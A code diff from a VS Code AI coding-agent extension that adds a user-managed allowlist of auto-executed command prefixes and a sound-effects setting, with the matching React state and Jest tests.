|
||||
value={commandInput}
|
||||
onInput={(e: any) => setCommandInput(e.target.value)}
|
||||
placeholder="Enter command prefix (e.g., 'git ')"
|
||||
style={{ flexGrow: 1 }}
|
||||
/>
|
||||
<VSCodeButton onClick={handleAddCommand}>
|
||||
Add
|
||||
</VSCodeButton>
|
||||
</div>
|
||||
|
||||
<div style={{
|
||||
marginTop: '10px',
|
||||
display: 'flex',
|
||||
flexWrap: 'wrap',
|
||||
gap: '5px'
|
||||
}}>
|
||||
{(allowedCommands ?? []).map((cmd, index) => (
|
||||
<div key={index} style={{
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
gap: '5px',
|
||||
backgroundColor: 'var(--vscode-button-secondaryBackground)',
|
||||
padding: '2px 6px',
|
||||
borderRadius: '4px',
|
||||
border: '1px solid var(--vscode-button-secondaryBorder)',
|
||||
height: '24px'
|
||||
}}>
|
||||
<span>{cmd}</span>
|
||||
<VSCodeButton
|
||||
appearance="icon"
|
||||
style={{
|
||||
padding: 0,
|
||||
margin: 0,
|
||||
height: '20px',
|
||||
width: '20px',
|
||||
minWidth: '20px',
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center'
|
||||
}}
|
||||
onClick={() => {
|
||||
const newCommands = (allowedCommands ?? []).filter((_, i) => i !== index)
|
||||
setAllowedCommands(newCommands)
|
||||
vscode.postMessage({
|
||||
type: "allowedCommands",
|
||||
commands: newCommands
|
||||
})
|
||||
}}
|
||||
>
|
||||
<span className="codicon codicon-close" />
|
||||
</VSCodeButton>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div style={{ marginBottom: 5 }}>
|
||||
<VSCodeCheckbox checked={soundEnabled} onChange={(e: any) => setSoundEnabled(e.target.checked)}>
|
||||
<span style={{ fontWeight: "500" }}>Enable sound effects</span>
|
||||
</VSCodeCheckbox>
|
||||
<p
|
||||
style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
color: "var(--vscode-descriptionForeground)",
|
||||
}}>
|
||||
When enabled, Cline will automatically perform browser actions without requiring
|
||||
you to click the Approve button.
|
||||
When enabled, Cline will play sound effects for notifications and events.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
|
@ -218,8 +330,8 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
}}>
|
||||
<p style={{ wordWrap: "break-word", margin: 0, padding: 0 }}>
|
||||
If you have any questions or feedback, feel free to open an issue at{" "}
|
||||
<VSCodeLink href="https://github.com/cline/cline" style={{ display: "inline" }}>
|
||||
https://github.com/cline/cline
|
||||
<VSCodeLink href="https://github.com/RooVetGit/Roo-Cline" style={{ display: "inline" }}>
|
||||
https://github.com/RooVetGit/Roo-Cline
|
||||
</VSCodeLink>
|
||||
</p>
|
||||
<p style={{ fontStyle: "italic", margin: "10px 0 0 0", padding: 0 }}>v{version}</p>
|
||||
|
|
|
|||
|
|
@ -1,230 +1,259 @@
|
|||
import { render, screen, act } from '@testing-library/react'
|
||||
import userEvent from '@testing-library/user-event'
|
||||
import { ExtensionStateContextType } from '../../../context/ExtensionStateContext'
|
||||
import React from 'react'
|
||||
import { render, screen, fireEvent } from '@testing-library/react'
|
||||
import SettingsView from '../SettingsView'
|
||||
import { ExtensionStateContextProvider } from '../../../context/ExtensionStateContext'
|
||||
import { vscode } from '../../../utils/vscode'
|
||||
import * as ExtensionStateContext from '../../../context/ExtensionStateContext'
|
||||
import { ModelInfo } from '../../../../../src/shared/api'
|
||||
|
||||
// Mock dependencies
|
||||
// Mock vscode API
|
||||
jest.mock('../../../utils/vscode', () => ({
|
||||
vscode: {
|
||||
postMessage: jest.fn()
|
||||
}
|
||||
vscode: {
|
||||
postMessage: jest.fn(),
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock validation functions
|
||||
jest.mock('../../../utils/validate', () => ({
|
||||
validateApiConfiguration: jest.fn(() => undefined),
|
||||
validateModelId: jest.fn(() => undefined)
|
||||
}))
|
||||
|
||||
// Mock ApiOptions component
|
||||
jest.mock('../ApiOptions', () => ({
|
||||
__esModule: true,
|
||||
default: () => <div data-testid="mock-api-options" />
|
||||
}))
|
||||
|
||||
// Mock VS Code components
|
||||
// Mock VSCode components
|
||||
jest.mock('@vscode/webview-ui-toolkit/react', () => ({
|
||||
VSCodeButton: ({ children, onClick }: any) => (
|
||||
<button onClick={onClick}>{children}</button>
|
||||
),
|
||||
VSCodeCheckbox: ({ children, checked, onChange }: any) => (
|
||||
<label>
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={checked}
|
||||
onChange={e => onChange(e)}
|
||||
aria-checked={checked}
|
||||
/>
|
||||
{children}
|
||||
</label>
|
||||
),
|
||||
VSCodeTextArea: ({ children, value, onInput }: any) => (
|
||||
<textarea
|
||||
data-testid="custom-instructions"
|
||||
value={value}
|
||||
readOnly
|
||||
aria-label="Custom Instructions"
|
||||
>{children}</textarea>
|
||||
),
|
||||
VSCodeLink: ({ children, href }: any) => (
|
||||
<a href={href}>{children}</a>
|
||||
)
|
||||
VSCodeButton: ({ children, onClick, appearance }: any) => (
|
||||
appearance === 'icon' ?
|
||||
<button onClick={onClick} className="codicon codicon-close" aria-label="Remove command">
|
||||
<span className="codicon codicon-close" />
|
||||
</button> :
|
||||
<button onClick={onClick} data-appearance={appearance}>{children}</button>
|
||||
),
|
||||
VSCodeCheckbox: ({ children, onChange, checked }: any) => (
|
||||
<label>
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={checked}
|
||||
onChange={(e) => onChange({ target: { checked: e.target.checked } })}
|
||||
aria-label={typeof children === 'string' ? children : undefined}
|
||||
/>
|
||||
{children}
|
||||
</label>
|
||||
),
|
||||
VSCodeTextField: ({ value, onInput, placeholder }: any) => (
|
||||
<input
|
||||
type="text"
|
||||
value={value}
|
||||
onChange={(e) => onInput({ target: { value: e.target.value } })}
|
||||
placeholder={placeholder}
|
||||
/>
|
||||
),
|
||||
VSCodeTextArea: () => <textarea />,
|
||||
VSCodeLink: () => <a />,
|
||||
VSCodeDropdown: ({ children, value, onChange }: any) => (
|
||||
<select value={value} onChange={onChange}>
|
||||
{children}
|
||||
</select>
|
||||
),
|
||||
VSCodeOption: ({ children, value }: any) => (
|
||||
<option value={value}>{children}</option>
|
||||
),
|
||||
VSCodeRadio: ({ children, value, checked, onChange }: any) => (
|
||||
<input
|
||||
type="radio"
|
||||
value={value}
|
||||
checked={checked}
|
||||
onChange={onChange}
|
||||
/>
|
||||
),
|
||||
VSCodeRadioGroup: ({ children, value, onChange }: any) => (
|
||||
<div onChange={onChange}>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}))
|
||||
|
||||
describe('SettingsView', () => {
|
||||
const mockOnDone = jest.fn()
|
||||
const mockSetAlwaysAllowWrite = jest.fn()
|
||||
const mockSetAlwaysAllowReadOnly = jest.fn()
|
||||
const mockSetCustomInstructions = jest.fn()
|
||||
const mockSetAlwaysAllowExecute = jest.fn()
|
||||
|
||||
let mockState: ExtensionStateContextType
|
||||
|
||||
const mockOpenRouterModels: Record<string, ModelInfo> = {
|
||||
'claude-3-sonnet': {
|
||||
maxTokens: 200000,
|
||||
contextWindow: 200000,
|
||||
supportsImages: true,
|
||||
supportsComputerUse: true,
|
||||
supportsPromptCache: true,
|
||||
inputPrice: 0.000008,
|
||||
outputPrice: 0.000024,
|
||||
description: "Anthropic's Claude 3 Sonnet model"
|
||||
}
|
||||
// Mock window.postMessage to trigger state hydration
|
||||
const mockPostMessage = (state: any) => {
|
||||
window.postMessage({
|
||||
type: 'state',
|
||||
state: {
|
||||
version: '1.0.0',
|
||||
clineMessages: [],
|
||||
taskHistory: [],
|
||||
shouldShowAnnouncement: false,
|
||||
allowedCommands: [],
|
||||
alwaysAllowExecute: false,
|
||||
...state
|
||||
}
|
||||
}, '*')
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
|
||||
mockState = {
|
||||
apiConfiguration: {
|
||||
apiProvider: 'anthropic',
|
||||
apiModelId: 'claude-3-sonnet'
|
||||
},
|
||||
version: '1.0.0',
|
||||
customInstructions: 'Test instructions',
|
||||
alwaysAllowReadOnly: true,
|
||||
alwaysAllowWrite: true,
|
||||
alwaysAllowExecute: true,
|
||||
openRouterModels: mockOpenRouterModels,
|
||||
didHydrateState: true,
|
||||
showWelcome: false,
|
||||
theme: 'dark',
|
||||
filePaths: [],
|
||||
taskHistory: [],
|
||||
shouldShowAnnouncement: false,
|
||||
clineMessages: [],
|
||||
uriScheme: 'vscode',
|
||||
|
||||
setAlwaysAllowReadOnly: mockSetAlwaysAllowReadOnly,
|
||||
setAlwaysAllowWrite: mockSetAlwaysAllowWrite,
|
||||
setCustomInstructions: mockSetCustomInstructions,
|
||||
setAlwaysAllowExecute: mockSetAlwaysAllowExecute,
|
||||
setApiConfiguration: jest.fn(),
|
||||
setShowAnnouncement: jest.fn()
|
||||
}
|
||||
|
||||
// Mock the useExtensionState hook
|
||||
jest.spyOn(ExtensionStateContext, 'useExtensionState').mockReturnValue(mockState)
|
||||
const renderSettingsView = () => {
|
||||
const onDone = jest.fn()
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<SettingsView onDone={onDone} />
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
// Hydrate initial state
|
||||
mockPostMessage({})
|
||||
return { onDone }
|
||||
}
|
||||
|
||||
describe('SettingsView - Sound Settings', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
it('initializes with sound disabled by default', () => {
|
||||
renderSettingsView()
|
||||
|
||||
const soundCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Enable sound effects/i
|
||||
})
|
||||
expect(soundCheckbox).not.toBeChecked()
|
||||
})
|
||||
|
||||
const renderSettingsView = () => {
|
||||
return render(
|
||||
<SettingsView onDone={mockOnDone} />
|
||||
)
|
||||
}
|
||||
|
||||
describe('Checkboxes', () => {
|
||||
it('should toggle alwaysAllowWrite checkbox', async () => {
|
||||
mockState.alwaysAllowWrite = false
|
||||
renderSettingsView()
|
||||
|
||||
const writeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve write operations/i
|
||||
})
|
||||
|
||||
expect(writeCheckbox).not.toBeChecked()
|
||||
await act(async () => {
|
||||
await userEvent.click(writeCheckbox)
|
||||
})
|
||||
expect(mockSetAlwaysAllowWrite).toHaveBeenCalledWith(true)
|
||||
})
|
||||
|
||||
it('should toggle alwaysAllowExecute checkbox', async () => {
|
||||
mockState.alwaysAllowExecute = false
|
||||
renderSettingsView()
|
||||
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve execute operations/i
|
||||
})
|
||||
|
||||
expect(executeCheckbox).not.toBeChecked()
|
||||
await act(async () => {
|
||||
await userEvent.click(executeCheckbox)
|
||||
})
|
||||
expect(mockSetAlwaysAllowExecute).toHaveBeenCalledWith(true)
|
||||
})
|
||||
|
||||
it('should toggle alwaysAllowReadOnly checkbox', async () => {
|
||||
mockState.alwaysAllowReadOnly = false
|
||||
renderSettingsView()
|
||||
|
||||
const readOnlyCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve read-only operations/i
|
||||
})
|
||||
|
||||
expect(readOnlyCheckbox).not.toBeChecked()
|
||||
await act(async () => {
|
||||
await userEvent.click(readOnlyCheckbox)
|
||||
})
|
||||
expect(mockSetAlwaysAllowReadOnly).toHaveBeenCalledWith(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Form Submission', () => {
|
||||
it('should send correct messages when form is submitted', async () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Submit form
|
||||
const doneButton = screen.getByRole('button', { name: /Done/i })
|
||||
await act(async () => {
|
||||
await userEvent.click(doneButton)
|
||||
})
|
||||
|
||||
// Verify messages were sent in the correct order
|
||||
const calls = (vscode.postMessage as jest.Mock).mock.calls
|
||||
expect(calls).toHaveLength(5)
|
||||
|
||||
expect(calls[0][0]).toEqual({
|
||||
type: 'apiConfiguration',
|
||||
apiConfiguration: {
|
||||
apiProvider: 'anthropic',
|
||||
apiModelId: 'claude-3-sonnet'
|
||||
}
|
||||
})
|
||||
|
||||
expect(calls[1][0]).toEqual({
|
||||
type: 'customInstructions',
|
||||
text: 'Test instructions'
|
||||
})
|
||||
|
||||
expect(calls[2][0]).toEqual({
|
||||
type: 'alwaysAllowReadOnly',
|
||||
bool: true
|
||||
})
|
||||
|
||||
expect(calls[3][0]).toEqual({
|
||||
type: 'alwaysAllowWrite',
|
||||
bool: true
|
||||
})
|
||||
|
||||
expect(calls[4][0]).toEqual({
|
||||
type: 'alwaysAllowExecute',
|
||||
bool: true
|
||||
})
|
||||
|
||||
// Verify onDone was called
|
||||
expect(mockOnDone).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Accessibility', () => {
|
||||
it('should have accessible form controls', () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Check for proper labels and ARIA attributes
|
||||
const writeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve write operations/i
|
||||
})
|
||||
expect(writeCheckbox).toHaveAttribute('aria-checked')
|
||||
|
||||
const textarea = screen.getByRole('textbox', {
|
||||
name: /Custom Instructions/i
|
||||
})
|
||||
expect(textarea).toBeInTheDocument()
|
||||
})
|
||||
it('toggles sound setting and sends message to VSCode', () => {
|
||||
renderSettingsView()
|
||||
|
||||
const soundCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Enable sound effects/i
|
||||
})
|
||||
|
||||
// Enable sound
|
||||
fireEvent.click(soundCheckbox)
|
||||
expect(soundCheckbox).toBeChecked()
|
||||
|
||||
// Click Done to save settings
|
||||
const doneButton = screen.getByText('Done')
|
||||
fireEvent.click(doneButton)
|
||||
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
type: 'soundEnabled',
|
||||
bool: true
|
||||
})
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
describe('SettingsView - Allowed Commands', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
it('shows allowed commands section when alwaysAllowExecute is enabled', () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Enable always allow execute
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve allowed execute operations/i
|
||||
})
|
||||
fireEvent.click(executeCheckbox)
|
||||
|
||||
// Verify allowed commands section appears
|
||||
expect(screen.getByText(/Allowed Auto-Execute Commands/i)).toBeInTheDocument()
|
||||
expect(screen.getByPlaceholderText(/Enter command prefix/i)).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('adds new command to the list', () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Enable always allow execute
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve allowed execute operations/i
|
||||
})
|
||||
fireEvent.click(executeCheckbox)
|
||||
|
||||
// Add a new command
|
||||
const input = screen.getByPlaceholderText(/Enter command prefix/i)
|
||||
fireEvent.change(input, { target: { value: 'npm test' } })
|
||||
|
||||
const addButton = screen.getByText('Add')
|
||||
fireEvent.click(addButton)
|
||||
|
||||
// Verify command was added
|
||||
expect(screen.getByText('npm test')).toBeInTheDocument()
|
||||
|
||||
// Verify VSCode message was sent
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'allowedCommands',
|
||||
commands: ['npm test']
|
||||
})
|
||||
})
|
||||
|
||||
it('removes command from the list', () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Enable always allow execute
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve allowed execute operations/i
|
||||
})
|
||||
fireEvent.click(executeCheckbox)
|
||||
|
||||
// Add a command
|
||||
const input = screen.getByPlaceholderText(/Enter command prefix/i)
|
||||
fireEvent.change(input, { target: { value: 'npm test' } })
|
||||
const addButton = screen.getByText('Add')
|
||||
fireEvent.click(addButton)
|
||||
|
||||
// Remove the command
|
||||
const removeButton = screen.getByRole('button', { name: 'Remove command' })
|
||||
fireEvent.click(removeButton)
|
||||
|
||||
// Verify command was removed
|
||||
expect(screen.queryByText('npm test')).not.toBeInTheDocument()
|
||||
|
||||
// Verify VSCode message was sent
|
||||
expect(vscode.postMessage).toHaveBeenLastCalledWith({
|
||||
type: 'allowedCommands',
|
||||
commands: []
|
||||
})
|
||||
})
|
||||
|
||||
it('prevents duplicate commands', () => {
|
||||
renderSettingsView()
|
||||
|
||||
// Enable always allow execute
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve allowed execute operations/i
|
||||
})
|
||||
fireEvent.click(executeCheckbox)
|
||||
|
||||
// Add a command twice
|
||||
const input = screen.getByPlaceholderText(/Enter command prefix/i)
|
||||
const addButton = screen.getByText('Add')
|
||||
|
||||
// First addition
|
||||
fireEvent.change(input, { target: { value: 'npm test' } })
|
||||
fireEvent.click(addButton)
|
||||
|
||||
// Second addition attempt
|
||||
fireEvent.change(input, { target: { value: 'npm test' } })
|
||||
fireEvent.click(addButton)
|
||||
|
||||
// Verify command appears only once
|
||||
const commands = screen.getAllByText('npm test')
|
||||
expect(commands).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('saves allowed commands when clicking Done', () => {
|
||||
const { onDone } = renderSettingsView()
|
||||
|
||||
// Enable always allow execute
|
||||
const executeCheckbox = screen.getByRole('checkbox', {
|
||||
name: /Always approve allowed execute operations/i
|
||||
})
|
||||
fireEvent.click(executeCheckbox)
|
||||
|
||||
// Add a command
|
||||
const input = screen.getByPlaceholderText(/Enter command prefix/i)
|
||||
fireEvent.change(input, { target: { value: 'npm test' } })
|
||||
const addButton = screen.getByText('Add')
|
||||
fireEvent.click(addButton)
|
||||
|
||||
// Click Done
|
||||
const doneButton = screen.getByText('Done')
|
||||
fireEvent.click(doneButton)
|
||||
|
||||
// Verify VSCode messages were sent
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith(expect.objectContaining({
|
||||
type: 'allowedCommands',
|
||||
commands: ['npm test']
|
||||
}))
|
||||
expect(onDone).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
|
|
|||
|
|
@ -24,6 +24,8 @@ export interface ExtensionStateContextType extends ExtensionState {
|
|||
setAlwaysAllowExecute: (value: boolean) => void
|
||||
setAlwaysAllowBrowser: (value: boolean) => void
|
||||
setShowAnnouncement: (value: boolean) => void
|
||||
setAllowedCommands: (value: string[]) => void
|
||||
setSoundEnabled: (value: boolean) => void
|
||||
}
|
||||
|
||||
const ExtensionStateContext = createContext<ExtensionStateContextType | undefined>(undefined)
|
||||
|
|
@ -34,6 +36,8 @@ export const ExtensionStateContextProvider: React.FC<{ children: React.ReactNode
|
|||
clineMessages: [],
|
||||
taskHistory: [],
|
||||
shouldShowAnnouncement: false,
|
||||
allowedCommands: [],
|
||||
soundEnabled: false,
|
||||
})
|
||||
const [didHydrateState, setDidHydrateState] = useState(false)
|
||||
const [showWelcome, setShowWelcome] = useState(false)
|
||||
|
|
@ -121,6 +125,8 @@ export const ExtensionStateContextProvider: React.FC<{ children: React.ReactNode
|
|||
setAlwaysAllowExecute: (value) => setState((prevState) => ({ ...prevState, alwaysAllowExecute: value })),
|
||||
setAlwaysAllowBrowser: (value) => setState((prevState) => ({ ...prevState, alwaysAllowBrowser: value })),
|
||||
setShowAnnouncement: (value) => setState((prevState) => ({ ...prevState, shouldShowAnnouncement: value })),
|
||||
setAllowedCommands: (value) => setState((prevState) => ({ ...prevState, allowedCommands: value })),
|
||||
setSoundEnabled: (value) => setState((prevState) => ({ ...prevState, soundEnabled: value })),
|
||||
}
|
||||
|
||||
return <ExtensionStateContext.Provider value={contextValue}>{children}</ExtensionStateContext.Provider>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,71 @@
|
|||
import React from 'react'
|
||||
import { render, screen, act } from '@testing-library/react'
|
||||
import { ExtensionStateContextProvider, useExtensionState } from '../ExtensionStateContext'
|
||||
|
||||
// Test component that consumes the context
|
||||
const TestComponent = () => {
|
||||
const { allowedCommands, setAllowedCommands, soundEnabled } = useExtensionState()
|
||||
return (
|
||||
<div>
|
||||
<div data-testid="allowed-commands">{JSON.stringify(allowedCommands)}</div>
|
||||
<div data-testid="sound-enabled">{JSON.stringify(soundEnabled)}</div>
|
||||
<button
|
||||
data-testid="update-button"
|
||||
onClick={() => setAllowedCommands(['npm install', 'git status'])}
|
||||
>
|
||||
Update Commands
|
||||
</button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
describe('ExtensionStateContext', () => {
|
||||
it('initializes with empty allowedCommands array', () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<TestComponent />
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
expect(JSON.parse(screen.getByTestId('allowed-commands').textContent!)).toEqual([])
|
||||
})
|
||||
|
||||
it('initializes with soundEnabled set to false', () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<TestComponent />
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
expect(JSON.parse(screen.getByTestId('sound-enabled').textContent!)).toBe(false)
|
||||
})
|
||||
|
||||
it('updates allowedCommands through setAllowedCommands', () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<TestComponent />
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
act(() => {
|
||||
screen.getByTestId('update-button').click()
|
||||
})
|
||||
|
||||
expect(JSON.parse(screen.getByTestId('allowed-commands').textContent!)).toEqual([
|
||||
'npm install',
|
||||
'git status'
|
||||
])
|
||||
})
|
||||
|
||||
it('throws error when used outside provider', () => {
|
||||
// Suppress console.error for this test since we expect an error
|
||||
const consoleSpy = jest.spyOn(console, 'error')
|
||||
consoleSpy.mockImplementation(() => {})
|
||||
|
||||
expect(() => {
|
||||
render(<TestComponent />)
|
||||
}).toThrow('useExtensionState must be used within an ExtensionStateContextProvider')
|
||||
|
||||
consoleSpy.mockRestore()
|
||||
})
|
||||
})
|
||||
Loading…
Add table
Reference in a new issue